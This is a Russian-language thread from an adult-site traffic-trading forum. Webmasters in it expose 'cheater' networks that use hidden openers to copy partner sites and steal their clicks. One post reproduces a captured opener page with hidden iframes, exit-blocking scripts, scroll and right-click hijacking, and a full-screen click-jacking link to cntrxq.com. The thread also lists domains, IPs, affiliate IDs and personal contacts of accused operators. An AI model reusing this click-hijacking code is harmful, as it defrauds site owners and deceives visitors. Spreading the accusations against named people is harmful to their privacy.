Сетки читеров - скрытый опенер

Вырос очередной гнойник.
Старые знакомые судя по всему.

Основные направления - мультиниш и матурные сиджетубы

кто не знаком с явлением, читать тут
Silver-teens.com - троян вставляет
Iopensecrets.com & teens-peaches.com - скрытые opener-ы
Читеры teenycandoit.com pussyteenvids.com nicepornvideo ит.д
в последнем топике есть скрин как это выглядит http://cjlist.info/myfiles/example.jpg
в опенере открывается урл читера, но подгружается копия вашего сайта, при этом все клики уже идут налево.

Пресловутый diamoxum, опять за старое взялся.
В процессе отладки читерского скрипта у них видать глючило, и гугль это дело закешировал.

копии ваших сайтов (по рефу, только хтмл) по началу хранились тут (домен, ИП, номер сервере у адванседов)
сейчас другой домен используется, об этом позже.

trackithit.com 46.229.163.84 DS2063

кеш можно тут глянуть
http://www.google.com/search?q=inurl%3Atrackithit.com%2Ftmp
скрин если кеш помрёт

Код: [развернуть]

а вот как судя по всему оно вставляется (инклюдится), если срабатывает триггер ихний, или что там у них.


код ошибки в более читабельном виде, если кому интересно

Код: [развернуть]

Notice:  Undefined index:  HTTP_REFERER in /home/trade/newpornsex.com/inc.php on line 357 array(21) {   ["HTTP_REFERER"]=>   NULL   ["GEOIP_COUNTRY_CODE"]=>   string(2) "US"   ["DOCUMENT_ROOT"]=>   string(26) "/home/trade/newpornsex.com"   ["HTTP_ACCEPT_LANGUAGE"]=>   NULL   ["HTTP_USER_AGENT"]=>   string(72) "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"   ["HTTP_ACCEPT"]=>   string(3) "*/*"   ["HTTP_HOST"]=>   string(14) "newpornsex.com"   ["SCRIPT_FILENAME"]=>   string(45) "/home/trade/newpornsex.com/scj/tube/index.php"   ["REQUEST_METHOD"]=>   string(3) "GET"   ["REMOTE_ADDR"]=>   string(13) "66.249.75.180"   ["SCRIPT_NAME"]=>   string(19) "/scj/tube/index.php"   ["PHP_SELF"]=>   string(19) "/scj/tube/index.php"   ["TIME"]=>   int(1357481118)   ["SERVER_SOFTWARE"]=>   string(31) "Apache/2.2.23 (Unix) PHP/5.2.17"   ["SERVER_PROTOCOL"]=>   string(8) "HTTP/1.0"   ["FEA_SERVER_NAME"]=>   string(14) "newpornsex.com"   ["FEA_REQUEST_URI"]=>   string(48) "/gallery/teen-plays-with-man-s-cock-5/index.html"   ["FEA_SCRIPT_NAME"]=>   string(8) "/inc.php"   ["FEA_SIMPLE_PROXY"]=>   bool(false)   ["SIMPLE_PROXY"]=>   bool(true)   ["FEA_ACTION"]=>   string(4) "MAIN" } Warning:  preg_match() expects parameter 2 to be string, array given in /home/feaserver/trackithit.com/index.php on line 1791 Notice:  Undefined offset:  0 in /home/feaserver/trackithit.com/index.php on line 1286 Fatal error:  Call to a member function closeCursor() on a non-object in /home/feaserver/trackithit.com/index.php on line 1841 Warning:  Cannot modify header information - headers already sent in /home/trade/newpornsex.com/scj/tube/index.php on line 0

в гугле также куча кешей с подобным
http://www.google.com/search?q=newpornsex+feaserver%2Ftrackithit.com
http://www.google.com/search?q=greattubeporn+feaserver%2Ftrackithit.com

В данный момент копии ваших сайтов делаются там же, только на соседнем ИП.
копии временные, и удаляются со временем.

allfreestat.com 46.229.163.85 DS2063

в base target видно чья копия



ещё скрины с разными сайтами

Код: [развернуть]

пачка пока живых урлов
http://allfreestat.com/tmp/415/441527cbff955e71e0e06ba7cef74acd.html
http://allfreestat.com/tmp/eac/feacbf6ec0cb361710b55e5b7aae96ea.html
http://allfreestat.com/tmp/05c/205cdf4682c15ad74e86dba63f603ed5.html
http://allfreestat.com/tmp/1af/81afe672ae367fb2e1b21f5a39126aac.html
http://allfreestat.com/tmp/b7a/4b7a50ce6911b73e4bc2df18c44323ab.html
http://allfreestat.com/tmp/c59/5c5992c12cb6d2a93f1a2330408b1d60.html
http://allfreestat.com/tmp/d71/2d713f1d3aaa7ff4022e2706cddcf0ca.html
http://allfreestat.com/tmp/e94/5e948099e9bc47848fb554be01a9f30f.html

Последний раз редактировалось: Member No.5000 (21/02/13 в 22:12), всего редактировалось 2 раз(а)

Теперь собственно сами сетки, кто этой хернёй занимается.
следите за ИП, номерами серваков, и кодами на партнёрках.

из старых вышеупомянутых топиков, чтоб была ясна связь

silver-teens.com 46.229.162.102 DS2062
http://trafficholder.com/aff.php?xam2000

juicy-milf.com 46.229.162.103 DS2062
http://trafficholder.com/aff.php?xam2000

kpornstars.com 46.229.162.103 DS2062
http://www.trafficholder.com/aff.php?xam2000

Свежак
Домены с копиями
trackithit.com 46.229.163.84 DS2063
allfreestat.com 46.229.163.85 DS2063

Сетки

http://qtrafficgroup.com/ 46.229.162.97 DS2062
icq 600158451 - Samson


aboutpornxxx.com 46.229.162.102 DS2062
src="http://syndication.exoclick.com/ads.php?type=728x90&login=qtrafficgroup
http://www.trafficholder.com/aff.php?qtg

greatpornsex.com 46.229.162.102 DS2062
src="http://syndication.exoclick.com/ads.php?type=728x90&login=qtrafficgroup
http://www.trafficholder.com/aff.php?qtg


newpornsex.com 46.229.162.102 DS2062
src="http://syndication.exoclick.com/ads.php?type=468x60&login=qtrafficgroup
http://www.trafficholder.com/aff.php?qtg

qtubemovies.com 46.229.162.102 DS2062
http://www.trafficholder.com/aff.php?tordely62

qtubevideos.com 46.229.162.102 DS2062
http://www.trafficholder.com/aff.php?ficking

totalmaturetube.com 46.229.162.102 DS2062
src="http://syndication.exoclick.com/ads.php?type=300x250&login=qtrafficgroup
http://www.trafficholder.com/aff.php?theaking

tubelovely.com 46.229.162.102 DS2062
src="http://syndication.exoclick.com/ads.php?type=300x250&login=qtrafficgroup
http://www.trafficholder.com/aff.php?fifeled90

tubenervous.com 46.229.162.102 DS2062
src="http://syndication.exoclick.com/ads.php?type=300x250&login=qtrafficgroup
name="flashvars" value="clickTAG=http%3A%2F%2Fadultfriendfinder.com%2Fgo%2Fg1323323-pct
http://www.trafficholder.com/aff.php?spingired

tubeperfect.com 46.229.162.102 DS2062
src="http://syndication.exoclick.com/ads.php?type=300x250&login=qtrafficgroup
http://www.trafficholder.com/aff.php?deakeple

-----------------------------------------------------------------

http://adagio.biz/ 46.229.162.96 DS2062
Dias 705314
SkySpirit 687565
Adagio 145179


1stpornstreet.com 46.229.162.103 DS2062
src="http://syndication.exoclick.com/ads.php?type=300x250&login=qtrafficgroup
name="flashvars" value="clickTAG=http%3A%2F%2Fadultfriendfinder.com%2Fgo%2Fg1323323-pct
http://www.trafficholder.com/aff.php?galonx

alongporn.com 46.229.162.101 DS2062
src="http://syndication.exoclick.com/ads.php?type=300x250&login=qtrafficgroup
http://www.trafficholder.com/aff.php?alonn

aroundporn.com 46.229.162.101 DS2062
src="http://syndication.exoclick.com/ads.php?type=300x250&login=qtrafficgroup

generalporntube.com 46.229.162.103 DS2062
src="http://syndication.exoclick.com/ads.php?type=300x250&login=qtrafficgroup

globaltubeporn.com 46.229.162.101 DS2062
src="http://syndication.exoclick.com/ads.php?type=300x250&login=qtrafficgroup

goodporntubes.com 46.229.162.96 DS2062
src="http://syndication.exoclick.com/ads.php?type=300x250&login=qtrafficgroup

hqxxxtubes.com 46.229.162.101 DS2062
src="http://syndication.exoclick.com/ads.php?type=300x250&login=qtrafficgroup

largefreeporn.com 46.229.162.101 DS2062
src="http://syndication.exoclick.com/ads.php?type=300x250&login=qtrafficgroup
http://trafficholder.com/aff.php?shamrok

oloporntube.com 46.229.162.103 DS2062
src="http://syndication.exoclick.com/ads.php?type=300x250&login=qtrafficgroup


trustedporntube.com 46.229.162.103 DS2062
src="http://syndication.exoclick.com/ads.php?type=300x250&login=qtrafficgroup
http://www.trafficholder.com/aff.php?galonx

tvporntubes.com 46.229.162.101 DS2062
src="http://syndication.exoclick.com/ads.php?type=300x250&login=qtrafficgroup

------------------------------------------------------

http://trafficfortrade.com/ 46.229.162.97 DS2062
icq 360454453 - Searcher
http://trafficholder.com/aff.php?searcher
http://www.trafficshop.com/home/?aff=Searcher2


greattubeporn.com 46.229.162.102 DS2062
src="http://syndication.exoclick.com/ads.php?type=300x250&login=qtrafficgroup
name="flashvars" value="clickTAG=http%3A%2F%2Fadultfriendfinder.com%2Fgo%2Fg1323323-pct
http://www.trafficholder.com/aff.php?salletch1993


hqadulttube.com 46.229.162.102 DS2062
src="http://syndication.exoclick.com/ads.php?type=300x250&login=qtrafficgroup
http://www.trafficholder.com/aff.php?thaut1931

matureagent.com 46.229.162.102 DS2062
src="http://syndication.exoclick.com/ads.php?type=300x250&login=qtrafficgroup
http://trafficholder.com/aff.php?Searcher

maturefortube.com 46.229.162.102 DS2062
src="http://syndication.exoclick.com/ads.php?type=300x250&login=qtrafficgroup
http://trafficholder.com/aff.php?cely1984

maturemovieonline.com 46.229.162.102 DS2062
src="http://syndication.exoclick.com/ads.php?type=300x250&login=qtrafficgroup
http://trafficholder.com/aff.php?searcher

maxadulttube.com 46.229.162.102 DS2062
src="http://syndication.exoclick.com/ads.php?type=300x250&login=qtrafficgroup
http://www.trafficholder.com/aff.php?leyanna

tubefreexxx.com 46.229.162.102 DS2062
src="http://syndication.exoclick.com/ads.php?type=300x250&login=qtrafficgroup
http://www.trafficholder.com/aff.php?leyanna

tubegaymales.com 46.229.162.102 DS2062
http://www.trafficholder.com/aff.php?griat1948

tubematureworld.com 46.229.162.102 DS2062
src="http://syndication.exoclick.com/ads.php?type=300x250&login=qtrafficgroup
http://www.trafficholder.com/aff.php?aphism

===============================

Также немного реверсов с ИП-шек

Старые знакомые

46.229.162.102 DS2062

http://genporn.com/
http://tubemommy.com/
src="http://syndication.exoclick.com/ads.php?type=300x250&login=qtrafficgroup
http://www.trafficholder.com/aff.php?qtg

basssex.com
src="http://syndication.exoclick.com/ads.php?type=300x250&login=qtrafficgroup
src="http://banners.adultfriendfinder.com/go/page/iframe_btn_banner?width=300&blabla&pid=g1323323-pct
http://www.trafficholder.com/aff.php?bass

my-sex-porno.com
src="http://syndication.exoclick.com/ads.php?type=300x250&login=qtrafficgroup
src="http://banners.adultfriendfinder.com/go/page/iframe_btn_banner?width=300&blabla&pid=g1323323-pct
http://www.trafficholder.com/aff.php?qtg

-------

46.229.163.84 DS2063

тут пока разгребал, сами домены поумирали, но сайты отзеркалились на соседний ИП 46.229.163.86 на этом же серваке.
впрочем в кеше гугля они есть.
новые зеркала - свежереги, во всю на холдере уже продают траф. Они там сейчас с пометкой new. Не сложно отыскать.

adultpornpost.com
src="http://syndication.exoclick.com/ads.php?type=300x250&login=adagio
http://www.trafficholder.com/aff.php?qtg
http://www.trafficshop.com/home/?aff=Taito

axatube.net (зеркало axa-tube.com [Creation Date: 15-feb-2013] 46.229.163.86 DS2063)
src="http://syndication.exoclick.com/ads.php?type=728x90&login=qtrafficgroup
http://www.trafficholder.com/aff.php?diamoxum

besttubegay.com
besttubeteen.com
hixtube.com
listmaturetube.com
maturefilmtube.com
nanotubeporn.com
olotube.net (зеркало olo-tube.com [Creation Date: 15-feb-2013] 46.229.163.86 DS2063)
src="http://syndication.exoclick.com/ads.php?type=300x250&login=qtrafficgroup

pixtube.net
pornavailable.com
pornbroad.com

pornmating.com (зеркало porn-mating.com 46.229.163.86 DS2063)
src="http://syndication.exoclick.com/ads.php?type=300x250&login=qtrafficgroup
src="http://banners.adultfriendfinder.com/go/page/iframe_btn_banner?width=300&blabla&pid=g1323323-pct

pornmaturesite.com

sexporndirect.com (sex-porn-direct.com)
src="http://syndication.exoclick.com/ads.php?type=728x90&login=qtrafficgroup
http://www.trafficholder.com/aff.php?goodwinwm

thepornonline.com
tubematurefilm.com
tubevintageworld.com (зеркало tube-vintage-world.com 46.229.163.86 DS2063)
wantfreeporn.com (зеркало want-free-porn.com 46.229.163.86 DS2063)

46.229.163.86 DS2063

free-porn-call.com
src="http://syndication.exoclick.com/ads.php?type=728x90&login=qtrafficgroup

===============================================================

Также, нашёл совпадение по коду AFF, g1323323-pct

http://porntrap.com/trade.html 46.229.168.7 DS2071
671466295
featds@gmail.com

porntrap.com 46.229.168.7 DS2071
href="http://adultfriendfinder.com/go/g1323323-pct
src="http://syndication.exoclick.com/ads.php?type=300x250&login=porntrap
http://trafficholder.com/aff.php?tubegroup
http://www.trafficshop.com/home/?aff=featds

и далее

PornGrange.com
SexSnare.com
PornLobe.com
PornSorts.com
PornMatchs.com
BabesCola.com
YoungGirlsFuck.com
FlameBodies.com
SmuttyWife.com
My-Sexy-Links.com
teenxxxfest.com
sissyfans.com
sexgirlsfucking.com
titsclips.com
pornicum.com
pornslutsex.com
skirtlover.com
cumloves.com
sexyrole.com

все домены списком

Код: [развернуть]

1stpornstreet.com aboutpornxxx.com adultpornpost.com allfreestat.com alongporn.com aroundporn.com axa-tube.com axatube.net babescola.com basssex.com besttubegay.com besttubeteen.com cumloves.com flamebodies.com free-porn-call.com generalporntube.com genporn.com globaltubeporn.com goodporntubes.com greatpornsex.com greattubeporn.com hixtube.com hqadulttube.com hqxxxtubes.com juicy-milf.com kpornstars.com largefreeporn.com listmaturetube.com matureagent.com maturefilmtube.com maturefortube.com maturemovieonline.com maxadulttube.com my-sex-porno.com my-sexy-links.com nanotubeporn.com newpornsex.com olo-tube.com oloporntube.com olotube.net pixtube.net porn-mating.com pornavailable.com pornbroad.com porngrange.com pornicum.com pornlobe.com pornmatchs.com pornmating.com pornmaturesite.com pornslutsex.com pornsorts.com porntrap.com qtubemovies.com qtubevideos.com sex-porn-direct.com sexgirlsfucking.com sexporndirect.com sexsnare.com sexyrole.com silver-teens.com sissyfans.com skirtlover.com smuttywife.com teenxxxfest.com thepornonline.com titsclips.com totalmaturetube.com trackithit.com trustedporntube.com tube-vintage-world.com tubefreexxx.com tubegaymales.com tubelovely.com tubematurefilm.com tubematureworld.com tubemommy.com tubenervous.com tubeperfect.com tubevintageworld.com tvporntubes.com want-free-porn.com wantfreeporn.com younggirlsfuck.com

акки на траффик холдере
http://trafficholder.com/aff.php?cely1984
http://trafficholder.com/aff.php?searcher
http://trafficholder.com/aff.php?shamrok
http://trafficholder.com/aff.php?tubegroup
http://trafficholder.com/aff.php?xam2000
http://www.trafficholder.com/aff.php?alonn
http://www.trafficholder.com/aff.php?aphism
http://www.trafficholder.com/aff.php?bass
http://www.trafficholder.com/aff.php?deakeple
http://www.trafficholder.com/aff.php?diamoxum
http://www.trafficholder.com/aff.php?ficking
http://www.trafficholder.com/aff.php?fifeled90
http://www.trafficholder.com/aff.php?galonx
http://www.trafficholder.com/aff.php?goodwinwm
http://www.trafficholder.com/aff.php?griat1948
http://www.trafficholder.com/aff.php?leyanna
http://www.trafficholder.com/aff.php?qtg
http://www.trafficholder.com/aff.php?salletch1993
http://www.trafficholder.com/aff.php?spingired
http://www.trafficholder.com/aff.php?thaut1931
http://www.trafficholder.com/aff.php?theaking
http://www.trafficholder.com/aff.php?tordely62
http://www.trafficholder.com/aff.php?xam2000

на траффик шопе

http://www.trafficshop.com/home/?aff=Searcher2
http://www.trafficshop.com/home/?aff=Taito
http://www.trafficshop.com/home/?aff=featds

-----

Вот такие пироги.
Такого рода вещи обычно сопровождаются хитботами, и троянами.
Посмотрите у себя в скриптах рефы в нотрейде, вполне вероятно найдетё
хиты с allfreestat.com

его уже все знают, если не ошибаюсь с персонажем, в Ижевске у них офис, там реально толпа народа работает. На старом компе были его даные и сканы доков и уголовного дела (дело он как-то сам все выкладывал). Хотя адалт - это так, чисто для трафа, там темы другие

ТС респэкт, гуд ворк

Спасибо почистили трейды

Большое спасибо.

долго прийдётся сортировать, что к чему.. В любом случае спасибо!

отличный анализ, спасибо

Большое спасибо !
А я думаю почему в мультинишах упала прода катастрофически и не возвращается, хоть убей.
Добавил уродов, ротацию обосрали, теперь хотя бы можно восстанавливать, а то я уже думал забить на сайты.

Весма познавательно. А не является ли внутренний номер сервера конфиденциальной информацией?

ты предлагаешь соблюсти приваси читеров, и удалить о них инфу?

kort писал:

ты предлагаешь соблюсти приваси читеров, и удалить о них инфу?

Я ничего не предлагаю. Мне интересно как можно узнать информацию такого рода.

kost9: С помощью Whois и Reverse IP

Anab0L1k: Приведи пример. У меня не получается определить имя своего сервера.

А как сами адванседы относятся к этому? По сути ведь вредоносное ПО.
Увидел подобное чудо при переходе на одного из трейдеров. Выкладывать не буду потому как может это его трейдскрипт шалит, сам не разобрался но трейдера пока забанил на всякий потому как точно через него все это пошло.

Случайно обнаружил когда проверял сайт после переноса. Ниша шемале.
После перехода осталась морда моего сайта а урл сменился на mylovelytube.
Айпи от АН только не из вышеуказаного списка. Кому лень код смотреть:213.174.132.48 и 213.174.132.53 а домен откуда грузится хрень cntrxq.com

Ну и код приведу для интересующихся:

Код: [развернуть]

Content-Type: multipart/related; start=<op.mhtml.1362240069775.76768a647448fe81@192.168.1.2>; boundary=----------sJe5nxZRPFcrNgqYYqNrju Content-Location: http://mylovelytube.com/ Subject: =?utf-8?Q?10shemale=20-=20free=20porn=20at=2010shemale.com?= MIME-Version: 1.0 ------------sJe5nxZRPFcrNgqYYqNrju Content-Disposition: inline; filename=default.htm Content-Type: text/html; name=default.htm Content-ID: <op.mhtml.1362240069775.76768a647448fe81@192.168.1.2> Content-Location: http://mylovelytube.com/ Content-Transfer-Encoding: 8bit <html> <head> <title>10shemale - free porn at 10shemale.com</title> <style type='text/css'>body {overflow: hidden;}</style> </head> <body topmargin=0 leftmargin=0 rightmargin=0 bottommargin=0 scroll=no onbeforeunload="return ''"> <iframe src="javascript:document.write('<html><script>var a=\'\';</script><body onbeforeunload=\'return a\'></body></html>');" style="display:none" width="1" height="1"></iframe> <iframe src="javascript:document.write('<html><script>var a=\'\';</script><body onbeforeunload=\'return a\'></body></html>');" style="display:none" width="1" height="1"></iframe> <iframe src="javascript:document.write('<html><script>var a=\'\';</script><body onbeforeunload=\'return a\'></body></html>');" style="display:none" width="1" height="1"></iframe> <iframe src="javascript:document.write('<html><script>var a=\'\';</script><body onbeforeunload=\'return a\'></body></html>');" style="display:none" width="1" height="1"></iframe> <script type='text/javascript'>function wheel(event){var delta=0;if (!event){event=window.event;}if (event.wheelDelta){delta=event.wheelDelta/120;if (window.opera){delta=-delta;}}else if (event.detail){delta=-event.detail/3;}if (delta){document.getElementById('maindiv').style.display='none';setTimeout("document.getElementById('maindiv').style.display='block'", 300);}}if (window.addEventListener){window.addEventListener('DOMMouseScroll', wheel, false);}window.onmousewheel=document.onmousewheel=wheel;</script> <script type='text/javascript'>window.document.oncontextmenu=function(){return false;}</script> <div id='maindiv' style="position: absolute; margin: 0; left:-16; top: -10; width: 100%; height: 100%; background-position: center center; background-repeat: no-repeat;"><a href='http://cntrxq.com/v/cl.php?c=1&slyun=1KaxreDWrJ6uVZundHDS1Ojm2YWt2K5lZG0ic9vR5tTRyN%2FU6pyYpnR11dGn1tTQlKDnbWxtImTi2drc08LbyZZunG0zNaedtOafmqyH6aaYpV9p14603J%2BWqZWvpm1kMDqV3t7ZytXX19Ocl1U7aa2fr6SXla3YrmptVWNv6Nrt5d6FrdiuZW1VTkyVp%2BytlpSsh%2BaYl5xyZdbg7uXRha3YrmNtVSI75qayrYfS4srimKWocmyVp%2Bytl5esh9ynp6M6L6LZ8t%2FU2dfR7aeolWUu1tvmooee5Z%2BrbVWlZWbY3t7lh57ln6ZkbVVodOfcs6KUlKLY3JiglGxloc%2Fo4JSFreI%3D' target='_blank' id='mainlink' style='cursor: default'><img src='http://213.174.132.48/images/img.gif' width='100%' height='100%' border='0' style='padding: 0; margin: 0;'></a></div> <script type='text/javascript'> function createRequestObject() { if (typeof XMLHttpRequest === 'undefined') { XMLHttpRequest = function() {try { return new ActiveXObject("Msxml2.XMLHTTP.6.0"); }catch(e) {} try { return new ActiveXObject("Msxml2.XMLHTTP.3.0"); }catch(e) {} try { return new ActiveXObject("Msxml2.XMLHTTP"); }catch(e) {} try { return new ActiveXObject("Microsoft.XMLHTTP"); }catch(e) {} throw new Error("This browser does not support XMLHttpRequest."); }; } return new XMLHttpRequest(); } function getcontent(){ var xmlhttp=createRequestObject(); xmlhttp.open('GET', 'http://mylovelytube.com/slytmp/05/050a77097699d4864f05ce109cfb2ead.php?slylink=#', true); xmlhttp.onreadystatechange=function(){ if(xmlhttp.readyState==4) window.frames['frm'].document.write(xmlhttp.responseText); } xmlhttp.send(null); } </script> <iframe name='frm' src="javascript:x=' ';" width=100% height=100% frameborder=0 onload="getcontent()"></iframe> </body> </html> ------------sJe5nxZRPFcrNgqYYqNrju Content-Disposition: inline; filename=img.gif Content-Type: image/gif; name=img.gif Content-Location: http://213.174.132.48/images/img.gif Content-Transfer-Encoding: Base64 R0lGODlh9AH0AYAAAP///wAAACH5BAEAAAAALAAAAAD0AfQBAAL/hI+py+0Po5y0 2ouz3rz7D4biSJbmiabqyrbuC8fyTNf2jef6zvf+DwwKh8Si8YhMKpfMpvMJjUqn 1Kr1is1qt9yu9wsOi8fksvmMTqvX7Lb7DY/L5/S6/Y7P6/f8vv8PGCg4SFhoeIiY qLjI2Oj4CBkpOUlZaXmJmam5ydnp+QkaKjpKWmp6ipqqusra6voKGys7S1tre4ub q7vL2+v7CxwsPExcbHyMnKy8zNzs/AwdLT1NXW19jZ2tvc3d7f0NHi4+Tl5ufo6e rr7O3u7+Dh8vP09fb3+Pn6+/z9/v/w8woMCBBAsaPIgwocKFDBs6fAgxosSJFCta vIgxo8aN/xw7evwIMqTIkSRLmjyJMqXKlSxbunwJM6bMmTRr2ryJM6fOnTx7+vwJ NKjQoUSLGj2KNKnSpUybOn0KNarUqVSrWr2KNavWrVy7ev0KNqzYsWTLmj2LNq3a tWzbun0LN67cuXTr2r2LN6/evXz7+v0LOLDgwYQLGz6MOLHixYwbO34MObLkyZQr W76MObPmzZw7e/4MOrTo0aRLmz6NOrXq1axbu34NO7bs2bRr276NO7fu3bx7+/4N PLjw4cSLGz+OPLny5cybO38OPbr06dSrW7+OPbv27dy7e/8OPrz48eTLmz+PPr36 9ezbu38PP778+fTr27+PP7/+/fz7+/3/D2CAAg5IYIEGHohgggouyGCDDj4IYYQS TkhhhRZeiGGGGm7IYYcefghiiCKOSGKJJp6IYooqrshiiy6+CGOMMs5IY4023ohj jjruyGOPPv4IZJBCDklkkUYeiWSSSi7JZJNOPglllFJOSWWVVl6JZZZabslll15+ CWaYYo5JZplmnolmmmquyWabbr4JZ5xyzklnnXbeiWeeeu7JZ59+/glooIIOSmih hh6KaKKKLspoo44+Cmmkkk5KaaWWXopppppuymmnnn4Kaqiijkpqqaaeimqqqq7K aquuvgprrLLOSmuttt6Ka6667sprr77+Cmywwg5LbLHGxlYAADs= ------------sJe5nxZRPFcrNgqYYqNrju--

спасиба

Забанил еще один сайт. Причем в коде не видно ничего подозрительного на мой непрофессиональный взгляд. И тут встает вопрос, а как всю сетку проверить? Руками точно не получится, а садит проду сильно. Rуки и хистори чищу и только потом эту херь увидел случайно. Они еще может айпи проверяют на уникальность. Есть ли скрипты для проверки на опенер? Трейдэксперт видимо такой встроенной фунции не имеет. Да и какой трейдскрипт имеет. А эти ублюдки как спалятся, айпи опять сменят.
Поделитесь пожалуйста мнением на этот счет.

Последний раз редактировалось: Nightmare (18/05/15 в 15:40), всего редактировалось 1 раз

Nightmare писал:

Опенер палится по статистике повторных кликов на нашем сайте, после ухода к трейдеру. Если это значение сильно отличается от остальных трейдеров, а объективных причин этого не видно (контент не на голову лучше нашего и тумбы не в пол экрана), то явно что-то не то с трейдером. Подобная статистика есть во всех современных трейд скриптах.

Спасибо большое за подсказку. Включил у себя Click Back. Буду мониторить.
Заодно написал абузу адванседам, интересно как они среагируют.

UPD:
Не забудьте добавить в блек очередного урода:
opravids.com (206.72.207.93)
exxxmovs.com (206.72.207.86)
wikstube.com (206.72.207.87)
mrbigfuck.com (206.72.207.85)
66.45.236.166 - а это видимо их командный центр.

Понятно что пишу не голословно. Скрины и коды страниц есть. На них через ТН шел трафф, туда я уже написал.

Последний раз редактировалось: dmmcash (04/03/13 в 06:12), всего редактировалось 1 раз

dmmcash:
поставь нормально точки, тк многие проверяют трейдеров по домену

dmmcash писал:

домен откуда грузится хрень cntrxq.com

В пятницу вечером на трафикхолдере отловлил пачку урлов покупателей с этой хернёй (была цепочка опенеров)



урлы покупателей были эти

http://hotmomclips.net/tube.php
http://3xclipz.net/tube.php
http://freetopporn.net/tube.php
http://porntubeclips.net/index.php
http://parentsporn.net/tube.php

Сейчас там стоит уже 302 редирект на http://secretsporn.com/

Тоесть менялось на выходные только, судя по всему.

Еще один дятел, региться под ником Alex в мультиниши, аська правда левая
xxxnewporn.net
634320760

Набрал ручной проверкой достаточно статистики со своих сайтов чтобы написать- вот он гад с опенером:
trannymoviestube.com
transporntube.com
transpassionstube.com
ultrashemaletube.com
shemalemoviestube.com
tgirlsporntube.com
extrashemaletube.com
shemalecockstube.com
1shemalestube.com
myshemalestube.com
shemalemegatube.com
|Robert|621872324|shemalenetwork@gmail.com

Заодно посмотрите его сайты через ссылку внизу любого. Там список поболее и ниши разные. Их я не чекал потому и не стал выкладывать сюда.

UPD: AdvancedHosters среагировали на абузу и отказывают этому плохому человеку в обслуживании, скоро сайты или сдохнут или поедут к другому хостеру. Абузы поедут следом за ним.
Всем хорошей проды.

Franko писал:

Еще один дятел, региться под ником Alex в мультиниши, аська правда левая xxxnewporn.net 634320760

вот еще 1 - gonzoxxxmovs.net
вместе с xxxnewporn.net ко мне только что добавил